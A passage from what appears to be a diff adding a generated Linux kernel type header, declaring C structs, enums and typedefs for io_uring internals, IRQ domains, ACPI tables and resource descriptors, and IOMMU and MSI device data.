*files; + long unsigned int *bitmap; + unsigned int alloc_hint; +}; + +struct io_hash_bucket { + spinlock_t lock; + struct hlist_head list; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct io_hash_table { + struct io_hash_bucket *hbs; + unsigned int hash_bits; +}; + +struct io_kiocb; + +struct io_submit_link { + struct io_kiocb *head; + struct io_kiocb *last; +}; + +struct io_submit_state { + struct io_wq_work_node free_list; + struct io_wq_work_list compl_reqs; + struct io_submit_link link; + bool plug_started; + bool need_plug; + short unsigned int submit_nr; + unsigned int cqes_count; + struct blk_plug plug; + struct io_uring_cqe cqes[16]; +}; + +struct io_alloc_cache { + struct io_wq_work_node list; + unsigned int nr_cached; + unsigned int max_cached; + size_t elem_size; +}; + +struct io_restriction { + long unsigned int register_op[1]; + long unsigned int sqe_op[1]; + u8 sqe_flags_allowed; + u8 sqe_flags_required; + bool registered; +}; + +struct io_rings; + +struct io_rsrc_node; + +struct io_mapped_ubuf; + +struct io_buffer_list; + +struct io_sq_data; + +struct io_ev_fd; + +struct io_rsrc_data; + +struct io_wq_hash; + +struct io_ring_ctx { + struct { + unsigned int flags; + unsigned int drain_next: 1; + unsigned int restricted: 1; + unsigned int off_timeout_used: 1; + unsigned int drain_active: 1; + unsigned int has_evfd: 1; + unsigned int task_complete: 1; + unsigned int syscall_iopoll: 1; + unsigned int poll_activated: 1; + unsigned int drain_disabled: 1; + unsigned int compat: 1; + enum task_work_notify_mode notify_method; + struct io_rings *rings; + struct task_struct *submitter_task; + struct percpu_ref refs; + long: 64; + long: 64; + }; + struct { + struct mutex uring_lock; + u32 *sq_array; + struct io_uring_sqe *sq_sqes; + unsigned int cached_sq_head; + unsigned int sq_entries; + struct io_rsrc_node *rsrc_node; + atomic_t cancel_seq; + struct io_file_table file_table; + unsigned int nr_user_files; + unsigned int nr_user_bufs; + struct io_mapped_ubuf **user_bufs; + struct io_submit_state submit_state; + struct io_buffer_list *io_bl; + struct xarray io_bl_xa; + struct list_head io_buffers_cache; + struct io_hash_table cancel_table_locked; + struct list_head cq_overflow_list; + struct io_alloc_cache apoll_cache; + struct io_alloc_cache netmsg_cache; + long: 64; + long: 64; + }; + struct io_wq_work_list locked_free_list; + unsigned int locked_free_nr; + const struct cred *sq_creds; + struct io_sq_data *sq_data; + struct wait_queue_head sqo_sq_wait; + struct list_head sqd_list; + long unsigned int check_cq; + unsigned int file_alloc_start; + unsigned int file_alloc_end; + struct xarray personalities; + u32 pers_next; + long: 64; + long: 64; + struct { + struct io_uring_cqe *cqe_cached; + struct io_uring_cqe *cqe_sentinel; + unsigned int cached_cq_tail; + unsigned int cq_entries; + struct io_ev_fd *io_ev_fd; + struct wait_queue_head cq_wait; + unsigned int cq_extra; + long: 64; + }; + struct { + spinlock_t completion_lock; + bool poll_multi_queue; + atomic_t cq_wait_nr; + struct io_wq_work_list iopoll_list; + struct io_hash_table cancel_table; + struct llist_head work_llist; + struct list_head io_buffers_comp; + }; + struct { + spinlock_t timeout_lock; + atomic_t cq_timeouts; + struct list_head timeout_list; + struct list_head ltimeout_list; + unsigned int cq_last_tm_flush; + long: 64; + long: 64; + }; + struct wait_queue_head poll_wq; + struct io_restriction restrictions; + struct io_mapped_ubuf *dummy_ubuf; + struct io_rsrc_data *file_data; + struct io_rsrc_data *buf_data; + struct list_head rsrc_ref_list; + struct io_alloc_cache rsrc_node_cache; + struct wait_queue_head rsrc_quiesce_wq; + unsigned int rsrc_quiesce; + struct list_head io_buffers_pages; + struct socket *ring_sock; + struct io_wq_hash *hash_map; + struct user_struct *user; + struct mm_struct *mm_account; + struct llist_head fallback_llist; + struct delayed_work fallback_work; + struct work_struct exit_work; + struct list_head tctx_list; + struct completion ref_comp; + u32 iowq_limits[2]; + bool iowq_limits_set; + struct callback_head poll_wq_task_work; + struct list_head defer_list; + unsigned int sq_thread_idle; + unsigned int evfd_last_cq_tail; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct io_uring { + u32 head; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + u32 tail; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct io_rings { + struct io_uring sq; + struct io_uring cq; + u32 sq_ring_mask; + u32 cq_ring_mask; + u32 sq_ring_entries; + u32 cq_ring_entries; + u32 sq_dropped; + atomic_t sq_flags; + u32 cq_flags; + u32 cq_overflow; + long: 64; + long: 64; + long: 64; + long: 64; + struct io_uring_cqe cqes[0]; +}; + +struct io_cmd_data { + struct file *file; + __u8 data[56]; +}; + +struct io_cqe { + __u64 user_data; + __s32 res; + union { + __u32 flags; + int fd; + }; +}; + +struct io_tw_state; + +typedef void (*io_req_tw_func_t)(struct io_kiocb *, struct io_tw_state *); + +struct io_task_work { + struct llist_node node; + io_req_tw_func_t func; +}; + +struct io_buffer; + +struct async_poll; + +struct io_kiocb { + union { + struct file *file; + struct io_cmd_data cmd; + }; + u8 opcode; + u8 iopoll_completed; + u16 buf_index; + unsigned int flags; + struct io_cqe cqe; + struct io_ring_ctx *ctx; + struct task_struct *task; + struct io_rsrc_node *rsrc_node; + union { + struct io_mapped_ubuf *imu; + struct io_buffer *kbuf; + struct io_buffer_list *buf_list; + }; + union { + struct io_wq_work_node comp_list; + __poll_t apoll_events; + }; + atomic_t refs; + atomic_t poll_refs; + struct io_task_work io_task_work; + unsigned int nr_tw; + union { + struct hlist_node hash_node; + struct { + u64 extra1; + u64 extra2; + }; + }; + struct async_poll *apoll; + void *async_data; + struct io_kiocb *link; + const struct cred *creds; + struct io_wq_work work; +}; + +struct io_ev_fd { + struct eventfd_ctx *cq_ev_fd; + unsigned int eventfd_async: 1; + struct callback_head rcu; + atomic_t refs; + atomic_t ops; +}; + +struct io_cache_entry { + struct io_wq_work_node node; +}; + +struct io_rsrc_put { + u64 tag; + union { + void *rsrc; + struct file *file; + struct io_mapped_ubuf *buf; + }; +}; + +struct io_rsrc_node { + union { + struct io_cache_entry cache; + struct io_ring_ctx *ctx; + }; + int refs; + bool empty; + u16 type; + struct list_head node; + struct io_rsrc_put item; +}; + +struct io_mapped_ubuf { + u64 ubuf; + u64 ubuf_end; + unsigned int nr_bvecs; + long unsigned int acct_pages; + struct bio_vec bvec[0]; +}; + +struct io_buffer_list { + union { + struct list_head buf_list; + struct { + struct page **buf_pages; + struct io_uring_buf_ring *buf_ring; + }; + }; + __u16 bgid; + __u16 buf_nr_pages; + __u16 nr_entries; + __u16 head; + __u16 mask; + __u8 is_mapped; + __u8 is_mmap; +}; + +struct io_sq_data { + refcount_t refs; + atomic_t park_pending; + struct mutex lock; + struct list_head ctx_list; + struct task_struct *thread; + struct wait_queue_head wait; + unsigned int sq_thread_idle; + int sq_cpu; + pid_t task_pid; + pid_t task_tgid; + long unsigned int state; + struct completion exited; +}; + +struct io_rsrc_data { + struct io_ring_ctx *ctx; + u64 **tags; + unsigned int nr; + u16 rsrc_type; + bool quiesce; +}; + +struct io_wq_hash { + refcount_t refs; + long unsigned int map; + struct wait_queue_head wait; +}; + +struct io_tw_state { + bool locked; +}; + +struct io_buffer { + struct list_head list; + __u64 addr; + __u32 len; + __u16 bid; + __u16 bgid; +}; + +struct io_poll { + struct file *file; + struct wait_queue_head *head; + __poll_t events; + int retries; + struct wait_queue_entry wait; +}; + +struct async_poll { + union { + struct io_poll poll; + struct io_cache_entry cache; + }; + struct io_poll *double_poll; +}; + +struct io_issue_def { + unsigned int needs_file: 1; + unsigned int plug: 1; + unsigned int hash_reg_file: 1; + unsigned int unbound_nonreg_file: 1; + unsigned int pollin: 1; + unsigned int pollout: 1; + unsigned int poll_exclusive: 1; + unsigned int buffer_select: 1; + unsigned int not_supported: 1; + unsigned int audit_skip: 1; + unsigned int ioprio: 1; + unsigned int iopoll: 1; + unsigned int iopoll_queue: 1; + unsigned int manual_alloc: 1; + int (*issue)(struct io_kiocb *, unsigned int); + int (*prep)(struct io_kiocb *, const struct io_uring_sqe *); +}; + +struct io_cold_def { + short unsigned int async_size; + const char *name; + int (*prep_async)(struct io_kiocb *); + void (*cleanup)(struct io_kiocb *); + void (*fail)(struct io_kiocb *); +}; + +typedef u16 ucs2_char_t; + +typedef long unsigned int irq_hw_number_t; + +enum irq_domain_bus_token { + DOMAIN_BUS_ANY = 0, + DOMAIN_BUS_WIRED = 1, + DOMAIN_BUS_GENERIC_MSI = 2, + DOMAIN_BUS_PCI_MSI = 3, + DOMAIN_BUS_PLATFORM_MSI = 4, + DOMAIN_BUS_NEXUS = 5, + DOMAIN_BUS_IPI = 6, + DOMAIN_BUS_FSL_MC_MSI = 7, + DOMAIN_BUS_TI_SCI_INTA_MSI = 8, + DOMAIN_BUS_WAKEUP = 9, + DOMAIN_BUS_VMD_MSI = 10, + DOMAIN_BUS_PCI_DEVICE_MSI = 11, + DOMAIN_BUS_PCI_DEVICE_MSIX = 12, + DOMAIN_BUS_DMAR = 13, + DOMAIN_BUS_AMDVI = 14, + DOMAIN_BUS_PCI_DEVICE_IMS = 15, +}; + +struct irq_domain_ops; + +struct irq_domain_chip_generic; + +struct msi_parent_ops; + +struct irq_data; + +struct irq_domain { + struct list_head link; + const char *name; + const struct irq_domain_ops *ops; + void *host_data; + unsigned int flags; + unsigned int mapcount; + struct mutex mutex; + struct irq_domain *root; + struct fwnode_handle *fwnode; + enum irq_domain_bus_token bus_token; + struct irq_domain_chip_generic *gc; + struct device *dev; + struct device *pm_dev; + struct irq_domain *parent; + const struct msi_parent_ops *msi_parent_ops; + irq_hw_number_t hwirq_max; + unsigned int revmap_size; + struct xarray revmap_tree; + struct irq_data *revmap[0]; +}; + +struct acpi_table_header { + char signature[4]; + u32 length; + u8 revision; + u8 checksum; + char oem_id[6]; + char oem_table_id[8]; + u32 oem_revision; + char asl_compiler_id[4]; + u32 asl_compiler_revision; +}; + +struct acpi_generic_address { + u8 space_id; + u8 bit_width; + u8 bit_offset; + u8 access_width; + u64 address; +} __attribute__((packed)); + +struct acpi_table_fadt { + struct acpi_table_header header; + u32 facs; + u32 dsdt; + u8 model; + u8 preferred_profile; + u16 sci_interrupt; + u32 smi_command; + u8 acpi_enable; + u8 acpi_disable; + u8 s4_bios_request; + u8 pstate_control; + u32 pm1a_event_block; + u32 pm1b_event_block; + u32 pm1a_control_block; + u32 pm1b_control_block; + u32 pm2_control_block; + u32 pm_timer_block; + u32 gpe0_block; + u32 gpe1_block; + u8 pm1_event_length; + u8 pm1_control_length; + u8 pm2_control_length; + u8 pm_timer_length; + u8 gpe0_block_length; + u8 gpe1_block_length; + u8 gpe1_base; + u8 cst_control; + u16 c2_latency; + u16 c3_latency; + u16 flush_size; + u16 flush_stride; + u8 duty_offset; + u8 duty_width; + u8 day_alarm; + u8 month_alarm; + u8 century; + u16 boot_flags; + u8 reserved; + u32 flags; + struct acpi_generic_address reset_register; + u8 reset_value; + u16 arm_boot_flags; + u8 minor_revision; + u64 Xfacs; + u64 Xdsdt; + struct acpi_generic_address xpm1a_event_block; + struct acpi_generic_address xpm1b_event_block; + struct acpi_generic_address xpm1a_control_block; + struct acpi_generic_address xpm1b_control_block; + struct acpi_generic_address xpm2_control_block; + struct acpi_generic_address xpm_timer_block; + struct acpi_generic_address xgpe0_block; + struct acpi_generic_address xgpe1_block; + struct acpi_generic_address sleep_control; + struct acpi_generic_address sleep_status; + u64 hypervisor_id; +} __attribute__((packed)); + +enum acpi_irq_model_id { + ACPI_IRQ_MODEL_PIC = 0, + ACPI_IRQ_MODEL_IOAPIC = 1, + ACPI_IRQ_MODEL_IOSAPIC = 2, + ACPI_IRQ_MODEL_PLATFORM = 3, + ACPI_IRQ_MODEL_GIC = 4, + ACPI_IRQ_MODEL_LPIC = 5, + ACPI_IRQ_MODEL_COUNT = 6, +}; + +struct irq_fwspec { + struct fwnode_handle *fwnode; + int param_count; + u32 param[16]; +}; + +struct irq_domain_ops { + int (*match)(struct irq_domain *, struct device_node *, enum irq_domain_bus_token); + int (*select)(struct irq_domain *, struct irq_fwspec *, enum irq_domain_bus_token); + int (*map)(struct irq_domain *, unsigned int, irq_hw_number_t); + void (*unmap)(struct irq_domain *, unsigned int); + int (*xlate)(struct irq_domain *, struct device_node *, const u32 *, unsigned int, long unsigned int *, unsigned int *); + int (*alloc)(struct irq_domain *, unsigned int, unsigned int, void *); + void (*free)(struct irq_domain *, unsigned int, unsigned int); + int (*activate)(struct irq_domain *, struct irq_data *, bool); + void (*deactivate)(struct irq_domain *, struct irq_data *); + int (*translate)(struct irq_domain *, struct irq_fwspec *, long unsigned int *, unsigned int *); +}; + +struct msi_domain_info; + +struct msi_parent_ops { + u32 supported_flags; + const char *prefix; + bool (*init_dev_msi_info)(struct device *, struct irq_domain *, struct irq_domain *, struct msi_domain_info *); +}; + +struct fb_videomode { + const char *name; + u32 refresh; + u32 xres; + u32 yres; + u32 pixclock; + u32 left_margin; + u32 right_margin; + u32 upper_margin; + u32 lower_margin; + u32 hsync_len; + u32 vsync_len; + u32 sync; + u32 vmode; + u32 flag; +}; + +struct dmt_videomode { + u32 dmt_id; + u32 std_2byte_code; + u32 cvt_3byte_code; + const struct fb_videomode *mode; +}; + +struct fb_cvt_data { + u32 xres; + u32 yres; + u32 refresh; + u32 f_refresh; + u32 pixclock; + u32 hperiod; + u32 hblank; + u32 hfreq; + u32 htotal; + u32 vtotal; + u32 vsync; + u32 hsync; + u32 h_front_porch; + u32 h_back_porch; + u32 v_front_porch; + u32 v_back_porch; + u32 h_margin; + u32 v_margin; + u32 interlace; + u32 aspect_ratio; + u32 active_pixels; + u32 flags; + u32 status; +}; + +typedef unsigned int xa_mark_t; + +enum xa_lock_type { + XA_LOCK_IRQ = 1, + XA_LOCK_BH = 2, +}; + +struct ida { + struct xarray xa; +}; + +enum kobject_action { + KOBJ_ADD = 0, + KOBJ_REMOVE = 1, + KOBJ_CHANGE = 2, + KOBJ_MOVE = 3, + KOBJ_ONLINE = 4, + KOBJ_OFFLINE = 5, + KOBJ_BIND = 6, + KOBJ_UNBIND = 7, +}; + +struct resource_entry { + struct list_head node; + struct resource *res; + resource_size_t offset; + struct resource __res; +}; + +struct msi_dev_domain { + struct xarray store; + struct irq_domain *domain; +}; + +struct platform_msi_priv_data; + +struct msi_device_data { + long unsigned int properties; + struct platform_msi_priv_data *platform_data; + struct mutex mutex; + struct msi_dev_domain __domains[2]; + long unsigned int __iter_idx; +}; + +struct io_tlb_area; + +struct io_tlb_slot; + +struct io_tlb_mem { + phys_addr_t start; + phys_addr_t end; + void *vaddr; + long unsigned int nslabs; + long unsigned int used; + struct dentry *debugfs; + bool late_alloc; + bool force_bounce; + bool for_alloc; + unsigned int nareas; + unsigned int area_nslabs; + struct io_tlb_area *areas; + struct io_tlb_slot *slots; + atomic_long_t total_used; + atomic_long_t used_hiwater; +}; + +struct iopf_device_param; + +struct iommu_fault_param; + +struct iommu_fwspec; + +struct dev_iommu { + struct mutex lock; + struct iommu_fault_param *fault_param; + struct iopf_device_param *iopf_param; + struct iommu_fwspec *fwspec; + struct iommu_device *iommu_dev; + void *priv; + u32 max_pasids; + u32 attach_deferred: 1; +}; + +typedef u64 acpi_size; + +typedef u64 acpi_io_address; + +typedef u32 acpi_status; + +typedef void *acpi_handle; + +typedef u32 acpi_object_type; + +union acpi_object { + acpi_object_type type; + struct { + acpi_object_type type; + u64 value; + } integer; + struct { + acpi_object_type type; + u32 length; + char *pointer; + } string; + struct { + acpi_object_type type; + u32 length; + u8 *pointer; + } buffer; + struct { + acpi_object_type type; + u32 count; + union acpi_object *elements; + } package; + struct { + acpi_object_type type; + acpi_object_type actual_type; + acpi_handle handle; + } reference; + struct { + acpi_object_type type; + u32 proc_id; + acpi_io_address pblk_address; + u32 pblk_length; + } processor; + struct { + acpi_object_type type; + u32 system_level; + u32 resource_order; + } power_resource; +}; + +struct acpi_buffer { + acpi_size length; + void *pointer; +}; + +struct acpi_pnp_device_id { + u32 length; + char *string; +}; + +struct acpi_pnp_device_id_list { + u32 count; + u32 list_size; + struct acpi_pnp_device_id ids[0]; +}; + +struct acpi_device_info { + u32 info_size; + u32 name; + acpi_object_type type; + u8 param_count; + u16 valid; + u8 flags; + u8 highest_dstates[4]; + u8 lowest_dstates[5]; + u64 address; + struct acpi_pnp_device_id hardware_id; + struct acpi_pnp_device_id unique_id; + struct acpi_pnp_device_id class_code; + struct acpi_pnp_device_id_list compatible_id_list; +}; + +struct acpi_subtable_header { + u8 type; + u8 length; +}; + +struct acpi_cedt_header { + u8 type; + u8 reserved; + u16 length; +}; + +struct acpi_hmat_structure { + u16 type; + u16 reserved; + u32 length; +}; + +struct acpi_prmt_module_header { + u16 revision; + u16 length; +}; + +struct acpi_table_spcr { + struct acpi_table_header header; + u8 interface_type; + u8 reserved[3]; + struct acpi_generic_address serial_port; + u8 interrupt_type; + u8 pc_interrupt; + u32 interrupt; + u8 baud_rate; + u8 parity; + u8 stop_bits; + u8 flow_control; + u8 terminal_type; + u8 reserved1; + u16 pci_device_id; + u16 pci_vendor_id; + u8 pci_bus; + u8 pci_device; + u8 pci_function; + u32 pci_flags; + u8 pci_segment; + u32 reserved2; +} __attribute__((packed)); + +struct acpi_table_stao { + struct acpi_table_header header; + u8 ignore_uart; +} __attribute__((packed)); + +struct acpi_resource_irq { + u8 descriptor_length; + u8 triggering; + u8 polarity; + u8 shareable; + u8 wake_capable; + u8 interrupt_count; + union { + u8 interrupt; + struct { + struct {} __Empty_interrupts; + u8 interrupts[0]; + }; + }; +}; + +struct acpi_resource_dma { + u8 type; + u8 bus_master; + u8 transfer; + u8 channel_count; + union { + u8 channel; + struct { + struct {} __Empty_channels; + u8 channels[0]; + }; + }; +}; + +struct acpi_resource_start_dependent { + u8 descriptor_length; + u8 compatibility_priority; + u8 performance_robustness; +}; + +struct acpi_resource_io { + u8 io_decode; + u8 alignment; + u8 address_length; + u16 minimum; + u16 maximum; +} __attribute__((packed)); + +struct acpi_resource_fixed_io { + u16 address; + u8 address_length; +} __attribute__((packed)); + +struct acpi_resource_fixed_dma { + u16 request_lines; + u16 channels; + u8 width; +} __attribute__((packed)); + +struct acpi_resource_vendor { + u16 byte_length; + u8 byte_data[0]; +}; + +struct acpi_resource_vendor_typed { + u16 byte_length; + u8 uuid_subtype; + u8 uuid[16]; + u8 byte_data[0]; +} __attribute__((packed)); + +struct acpi_resource_end_tag { + u8 checksum; +}; + +struct acpi_resource_memory24 { + u8 write_protect; + u16 minimum; + u16 maximum; + u16 alignment; + u16 address_length; +} __attribute__((packed)); + +struct acpi_resource_memory32 { + u8 write_protect; + u32 minimum; + u32 maximum; + u32 alignment; + u32 address_length; +} __attribute__((packed)); + +struct acpi_resource_fixed_memory32 { + u8 write_protect; + u32 address; + u32 address_length; +} __attribute__((packed)); + +struct acpi_memory_attribute { + u8 write_protect; + u8 caching; + u8 range_type; + u8 translation; +}; + +struct acpi_io_attribute { + u8 range_type; + u8 translation; + u8 translation_type; + u8 reserved1; +}; + +union acpi_resource_attribute { + struct acpi_memory_attribute mem; + struct acpi_io_attribute io; + u8 type_specific; +}; + +struct acpi_resource_label { + u16 string_length; + char *string_ptr; +} __attribute__((packed)); + +struct acpi_resource_source { + u8 index; + u16 string_length; + char *string_ptr; +} __attribute__((packed)); + +struct acpi_address16_attribute { + u16 granularity; + u16 minimum; + u16 maximum; + u16 translation_offset; + u16 address_length; +}; + +struct acpi_address32_attribute { + u32 granularity; + u32 minimum; + u32 maximum; + u32 translation_offset; + u32 address_length; +}; + +struct acpi_address64_attribute { + u64 granularity; + u64 minimum; + u64 maximum; + u64 translation_offset; + u64 address_length; +}; + +struct acpi_resource_address { + u8 resource_type; + u8 producer_consumer; + u8 decode; + u8 min_address_fixed; + u8 max_address_fixed; + union acpi_resource_attribute info; +}; + +struct acpi_resource_address16 { + u8 resource_type; + u8 producer_consumer; + u8 decode; + u8 min_address_fixed; + u8 max_address_fixed; + union acpi_resource_attribute info; + struct acpi_address16_attribute address; + struct acpi_resource_source resource_source; +} __attribute__((packed)); + +struct acpi_resource_address32 { + u8 resource_type; + u8 producer_consumer; + u8 decode; + u8 min_address_fixed; + u8 max_address_fixed; + union acpi_resource_attribute info; + struct acpi_address32_attribute address; + struct acpi_resource_source resource_source; +} __attribute__((packed)); + +struct acpi_resource_address64 { + u8 resource_type; + u8 producer_consumer; + u8 decode; + u8 min_address_fixed; + u8 max_address_fixed; + union acpi_resource_attribute info; + struct acpi_address64_attribute address; + struct acpi_resource_source resource_source; +} __attribute__((packed)); + +struct acpi_resource_extended_address64 { + u8 resource_type; + u8 producer_consumer; + u8 decode; + u8 min_address_fixed; + u8 max_address_fixed; + union acpi_resource_attribute info; + u8 revision_ID; + struct acpi_address64_attribute address; + u64 type_specific; +} __attribute__((packed)); + +struct acpi_resource_extended_irq { + u8 producer_consumer; + u8 triggering; + u8 polarity; + u8 shareable; + u8 wake_capable; + u8 interrupt_count; + struct acpi_resource_source resource_source; + union { + u32 interrupt; + struct { + struct {} __Empty_interrupts; + u32 interrupts[0]; + }; + }; +} __attribute__((packed)); + +struct acpi_resource_generic_register { + u8 space_id; + u8 bit_width; + u8 bit_offset; + u8 access_size; + u64 address; +} __attribute__((packed)); + +struct acpi_resource_gpio { + u8 revision_id; + u8 connection_type; + u8 producer_consumer; + u8 pin_config; + u8 shareable; + u8 wake_capable; + u8 io_restriction; + u8 triggering; + u8 polarity; + u16 drive_strength; + u16 debounce_timeout; + u16 pin_table_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u16 *pin_table; + u8 *vendor_data; +} __attribute__((packed)); + +struct acpi_resource_common_serialbus { + u8 revision_id; + u8 type; + u8 producer_consumer; + u8 slave_mode; + u8 connection_sharing; + u8 type_revision_id; + u16 type_data_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u8 *vendor_data; +} __attribute__((packed)); + +struct acpi_resource_i2c_serialbus { + u8 revision_id; + u8 type; + u8 producer_consumer; + u8 slave_mode; + u8 connection_sharing; + u8 type_revision_id; + u16 type_data_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u8 *vendor_data; + u8 access_mode; + u16 slave_address; + u32 connection_speed; +} __attribute__((packed)); + +struct acpi_resource_spi_serialbus { + u8 revision_id; + u8 type; + u8 producer_consumer; + u8 slave_mode; + u8 connection_sharing; + u8 type_revision_id; + u16 type_data_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u8 *vendor_data; + u8 wire_mode; + u8 device_polarity; + u8 data_bit_length; + u8 clock_phase; + u8 clock_polarity; + u16 device_selection; + u32 connection_speed; +} __attribute__((packed)); + +struct acpi_resource_uart_serialbus { + u8 revision_id; + u8 type; + u8 producer_consumer; + u8 slave_mode; + u8 connection_sharing; + u8 type_revision_id; + u16 type_data_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u8 *vendor_data; + u8 endian; + u8 data_bits; + u8 stop_bits; + u8 flow_control; + u8 parity; + u8 lines_enabled; + u16 rx_fifo_size; + u16 tx_fifo_size; + u32 default_baud_rate; +} __attribute__((packed)); + +struct acpi_resource_csi2_serialbus { + u8 revision_id; + u8 type; + u8 producer_consumer; + u8 slave_mode; + u8 connection_sharing; + u8 type_revision_id; + u16 type_data_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u8 *vendor_data; + u8 local_port_instance; + u8 phy_type; +} __attribute__((packed)); + +struct acpi_resource_pin_function { + u8 revision_id; + u8 pin_config; + u8 shareable; + u16 function_number; + u16 pin_table_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u16 *pin_table; + u8 *vendor_data; +} __attribute__((packed)); + +struct acpi_resource_pin_config { + u8 revision_id; + u8 producer_consumer; + u8 shareable; + u8 pin_config_type; + u32 pin_config_value; + u16 pin_table_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u16 *pin_table; + u8 *vendor_data; +} __attribute__((packed)); + +struct acpi_resource_clock_input { + u8 revision_id; + u8 mode; + u8 scale; + u16 frequency_divisor; + u32 frequency_numerator; + struct acpi_resource_source resource_source; +} __attribute__((packed)); + +struct acpi_resource_pin_group { + u8 revision_id; + u8 producer_consumer; + u16 pin_table_length; + u16 vendor_length; + u16 *pin_table; + struct acpi_resource_label resource_label; + u8 *vendor_data; +} __attribute__((packed)); + +struct acpi_resource_pin_group_function { + u8 revision_id; + u8 producer_consumer; + u8 shareable; + u16 function_number; + u16 vendor_length; + struct acpi_resource_source resource_source; + struct acpi_resource_label resource_source_label; + u8 *vendor_data; +} __attribute__((packed)); + +struct acpi_resource_pin_group_config { + u8 revision_id; + u8 producer_consumer; + u8 shareable; + u8 pin_config_type; + u32 pin_config_value; + u16 vendor_length; + struct acpi_resource_source resource_source; + struct acpi_resource_label resource_source_label; + u8 *vendor_data; +} __attribute__((packed)); + +union acpi_resource_data { + struct acpi_resource_irq irq; + struct acpi_resource_dma dma; + struct acpi_resource_start_dependent start_dpf; + struct acpi_resource_io io; + struct acpi_resource_fixed_io fixed_io; + struct acpi_resource_fixed_dma fixed_dma; + struct acpi_resource_vendor vendor; + struct acpi_resource_vendor_typed vendor_typed; + struct acpi_resource_end_tag end_tag; + struct acpi_resource_memory24 memory24; + struct acpi_resource_memory32 memory32; + struct acpi_resource_fixed_memory32 fixed_memory32; + struct acpi_resource_address16 address16; + struct acpi_resource_address32 address32; + struct acpi_resource_address64 address64; + struct acpi_resource_extended_address64 ext_address64; + struct acpi_resource_extended_irq extended_irq; + struct acpi_resource_generic_register generic_reg; + struct acpi_resource_gpio gpio; + struct acpi_resource_i2c_serialbus i2c_serial_bus; + struct acpi_resource_spi_serialbus spi_serial_bus; + struct acpi_resource_uart_serialbus uart_serial_bus; + struct acpi_resource_csi2_serialbus csi2_serial_bus; + struct acpi_resource_common_serialbus common_serial_bus; + struct acpi_resource_pin_function pin_function; + struct acpi_resource_pin_config pin_config; + struct acpi_resource_pin_group pin_group; + struct acpi_resource_pin_group_function pin_group_function; + struct acpi_resource_pin_group_config pin_group_config; + struct acpi_resource_clock_input clock_input; + struct acpi_resource_address address; +}; + +struct acpi_resource { + u32 type; + u32 length; + union acpi_resource_data data; +}; + +struct acpi_pld_info { + u8 revision; + u8 ignore_color; + u8 red; + u8 green; + u8 blue; + u16 width; + u16 height; + u8 user_visible; + u8 dock; + u8 lid; + u8 panel; + u8 vertical_position; + u8 horizontal_position; + u8 shape; + u8 group_orientation; + u8 group_token; + u8 group_position; + u8 bay; + u8 ejectable; + u8 ospm_eject_required; + u8 cabinet_number; + u8 card_cage_number; + u8 reference; + u8 rotation; + u8 order; + u8 reserved; + u16 vertical_offset; + u16 horizontal_offset; +}; + +struct acpi_handle_list { + u32 count; + acpi_handle handles[10]; +}; + +enum acpi_bus_device_type { + ACPI_BUS_TYPE_DEVICE = 0, + ACPI_BUS_TYPE_POWER = 1, + ACPI_BUS_TYPE_PROCESSOR = 2, + ACPI_BUS_TYPE_THERMAL = 3, + ACPI_BUS_TYPE_POWER_BUTTON = 4, + ACPI_BUS_TYPE_SLEEP_BUTTON = 5, + ACPI_BUS_TYPE_ECDT_EC = 6, + ACPI_BUS_DEVICE_TYPE_COUNT = 7, +}; + +struct acpi_hotplug_profile { + struct kobject kobj; + int (*scan_dependent)(struct acpi_device *); + void (*notify_online)(struct acpi_device *); + bool enabled: 1; + bool demand_offline: 1; +}; + +struct acpi_device_status { + u32 present: 1; + u32 enabled: 1; + u32 show_in_ui: 1; + u32 functional: 1; + u32 battery_present: 1; + u32 reserved: 27; +}; + +struct acpi_device_flags { + u32 dynamic_status: 1; + u32 removable: 1; + u32 ejectable: 1; + u32 power_manageable: 1; + u32 match_driver: 1; + u32 initialized: 1; + u32 visited: 1; + u32 hotplug_notify: 1; + u32 is_dock_station: 1; + u32 of_compatible_ok: 1; + u32 coherent_dma: 1; + u32 cca_seen: 1; + u32 enumeration_by_parent: 1; + u32 honor_deps: 1; + u32 reserved: 18; +}; + +typedef char acpi_bus_id[8]; + +struct acpi_pnp_type { + u32 hardware_id: 1; + u32 bus_address: 1; + u32 platform_id: 1; + u32 backlight: 1; + u32 reserved: 28; +}; + +typedef u64 acpi_bus_address; + +typedef char acpi_device_name[40]; + +typedef char acpi_device_class[20]; + +struct acpi_device_pnp { + acpi_bus_id bus_id; + int instance_no; + struct acpi_pnp_type type; + acpi_bus_address bus_address; + char *unique_id; + struct list_head ids; + acpi_device_name device_name; + acpi_device_class device_class; + union acpi_object *str_obj; +}; + +struct acpi_device_power_flags { + u32 explicit_get: 1; + u32 power_resources: 1; + u32 inrush_current: 1; + u32 power_removed: 1; + u32 ignore_parent: 1; + u32 dsw_present: 1; + u32 reserved: 26; +}; + +struct acpi_device_power_state { + struct { + u8 valid: 1; + u8 explicit_set: 1; + u8 reserved: 6; + } flags; + int power; + int latency; + struct list_head resources; +}; + +struct acpi_device_power { + int state; + struct acpi_device_power_flags flags; + struct acpi_device_power_state states[5]; + u8 state_for_enumeration; +}; + +struct acpi_device_wakeup_flags { + u8 valid: 1; + u8 notifier_present: 1; +}; + +struct acpi_device_wakeup_context { + void (*func)(struct acpi_device_wakeup_context *); + struct device *dev; +}; + +struct acpi_device_wakeup { + acpi_handle gpe_device; + u64 gpe_number; + u64 sleep_state; + struct list_head resources; + struct acpi_device_wakeup_flags flags; + struct acpi_device_wakeup_context context; + struct wakeup_source *ws; + int prepare_count; + int enable_count; +}; + +struct acpi_device_perf_flags { + u8 reserved: 8; +}; + +struct acpi_device_perf_state; + +struct acpi_device_perf { + int state; + struct acpi_device_perf_flags flags; + int state_count; + struct acpi_device_perf_state *states; +}; + +struct acpi_device_dir { + struct proc_dir_entry *entry; +}; + +struct acpi_device_data { + const union acpi_object *pointer; + struct list_head properties; + const union acpi_object *of_compatible; + struct list_head subnodes; +}; 